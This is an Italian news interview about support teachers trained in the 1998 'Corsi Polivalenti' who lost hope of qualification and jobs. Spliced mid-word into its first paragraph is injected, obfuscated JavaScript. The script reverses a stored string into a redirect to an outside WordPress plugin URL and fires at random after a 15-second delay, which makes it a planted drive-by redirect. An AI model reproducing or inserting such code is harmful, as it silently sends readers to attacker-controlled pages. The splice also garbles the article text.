3500 insegnanti usa e getta

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Dal prossimo anno scolastico, grazie alla nuova legge Finanziaria, migliaia di cattedre di sostegno all’h (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andicap nelle scuole verranno tagliate. La situazione è ovviamente allarmante sia per i ragazzi che per gli stessi insegnanti.
Fra gli insegnanti specializzati, infatti, c’è una categoria che sembra avere poche speranze di lavoro: quelli formatisi in base al D.M. del 24/11/1998 con cui sono stati istituiti i “Corsi Polivalenti”. Abbiamo chiesto a Massimo Mangani di spiegarci la situazione di chi, come lui, ha seguito questo percorso di specializzazione.
Il nostro corso fu organizzato velocemente presso i vari Atenei a causa del numero consistente di cattedre scoperte. Consisteva in un percorso biennale di 1150 ore, con frequenza obbligatoria, per il “modico” prezzo di circa 10 milioni di lire. Il titolo conseguito non prevedeva l’automatica abilitazione, necessaria per essere inseriti nelle graduatorie permanenti. Garantiva però l’immediata assunzione esclusivamente per supplenze annuali, cosa effettivamente avvenuta in questi due anni per tamponare la situazione di emergenza creatasi nelle scuole.
Visto che sapevate di non ottenere l’abilitazione perché avete scelto comunque di iscrivervi?
Secondo quanto prospettato la precarietà sarebbe stata sanata in un secondo momento mediante percorsi preferenziali. Qualche mese dopo l’inizio dei corsi però, le SSIS (Scuole di specializzazione abilitanti) istituite presso gli stessi atenei hanno diffuso la notizia dell’attivazione di un percorso abilitante per il sostegno di “sole” 400 ore riservato esclusivamente a chi le aveva frequentate.
E voi, vedendovi così ‘scavalcati’ da chi ha frequentato le SSIS, cosa avete fatto?
Abbiamo interpellato una prima volta il Ministero ma ci è stato risposto di attendere l’esito delle imminenti elezioni. Entrato in carica il nuovo Governo, abbiamo nuovamente contattato il Ministero ed anche la VII Commissione del Senato che nel Luglio 2002 ha obbligato il Governo a risolvere la nostra questione. Il 26/11/2002 è finalmente uscito il Decreto che autorizzava le università ad aprire un corso abilitante, riservato però a coloro in possesso della specializzazione Polivalente e della laurea, tagliando fuori così gli insegnanti di sostegno delle scuole elementari in possesso del diploma magistrale.
E quindi qual è la vostra situazione attuale?
Ovviamente le università si sono trovate in grave difficoltà, schiacciate da una parte dai ritardi del Governo nell’emanare il Decreto, dall’altra dagli interessi delle SSIS, che non hanno mostrato alcuna intenzione di sanare questa evidente discriminazione. La nostra condizione rimane dunque per ora quella di insegnanti “usa e getta”.

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